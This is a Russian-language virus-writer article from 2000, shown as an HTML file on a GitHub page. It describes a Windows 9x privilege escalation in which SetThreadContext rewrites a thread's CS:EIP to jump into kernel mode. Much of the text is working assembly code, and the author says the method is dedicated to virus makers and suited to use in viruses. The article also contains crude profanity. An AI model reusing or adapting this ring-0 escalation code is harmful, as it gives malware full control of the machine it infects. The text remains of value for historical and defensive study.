-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathcontext.html
81 lines (68 loc) · 3.63 KB
/
context.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<TITLE>ENTERING RING-0 USING WIN32 API: CONTEXT MODIFICATION</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</HEAD>
<BODY bgcolor=#C0C0C0 text=#000000 alink=#000080 vlink=#000080 link=#000080>
<pre>
ENTERING RING-0 USING WIN32 API: CONTEXT MODIFICATION
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Весь вред, причиненный этим текстом, посвящаю злым вирмэйкерам.
Маздай. Сколько глюков в этом слове! Итак, вашему вниманию
представляется вроде бы неизвестный до сих пор, но просто шокирующий
способ перехода в нулевое кольцо защиты.
Это не патч системных таблиц и не загрузка VxD-драйвера; это не
супер-пупер глюк в системе и не какой-нибудь навороченный эксплоит; это
даже не изъебские вызовы чево-то-там через кернел и это не
многомегабайтные исходники вызовов пэйджера на си.
Это просто стандартные апи-функции третьего кольца.
Суть заключается в вызове всего одной функции: SetThreadContext. Эта
функция устанавливает контекст, то есть все регистры для заданной нити.
Ситуация усложняется тем, что сохраненный контекст применяется (т.е.
установка регистров происходит) при переходе из нуля в третье кольцо при
переключении задач и при возврате в кернел из вызванных им процедур
нулевого кольца.
Таким образом мы подлавливаем момент, когда в контексте текущей нити
управление находится в нулевом кольце, а затем правим CS и EIP возврата
на 28h и адрес-процедуры-нулевого-кольца.
В результате вместо того, чтобы вернуться из нуля обратно в кернел,
управление возвращается к нам.
Почему нельзя изменить один только CS на 28h? Потому, что тогда
управление вернется в кернел, а кернеловский код в нулевом кольце сглючит,
так как до начала работы надо переустановить сегментные регистры в 30h.
<font color=#000080>
push esp 0 0
push offset thread_ring3_code
push 0 0
callW CreateThread ; создаем новую нить
xchg ebx, eax ; EBX=хендл нити
push offset context
push ebx
callW GetThreadContext; получаем контекст нити
mov context._segcs, 28h ; меняем CS:EIP
mov context._eip, offset ring0_code
push offset context
push ebx
callW SetThreadContext; устанавливаем контекст
jmp $ ; чего-то ждем
thread_ring3_code: push 1
call Sleep ; пауза
jmp thread_ring3_code
ring0_code: push ss ss ; мы в нуле!
pop ds es
...
</font>
Вот собственно и все. Рабочий пример в CONTEXT.ASM.
Единственно, что в таком нулевом кольце нельзя вызывать VxDcall-ы. Но
это ведь не проблема, так как из нуля можно что угодно записать в любую
область памяти, потом убить текущую нить и перейти в ноль как следует. Но
это уже другая история.
P.S.
Улучшенный вариант перехода в 0 находится в CONTEXT2.ASM: здесь
приходится организовывать свой стэк, зато можно вызывать VxDcall-ы.
Еще более простой вариант в CONTEXT3.ASM: здесь мы обходимся вообще
без создания новой треады и прочей хуйни. Эта версия наиболее приближена
к нормальному использованию в вирях.
</pre>
<p align=right>(x) 2000 Z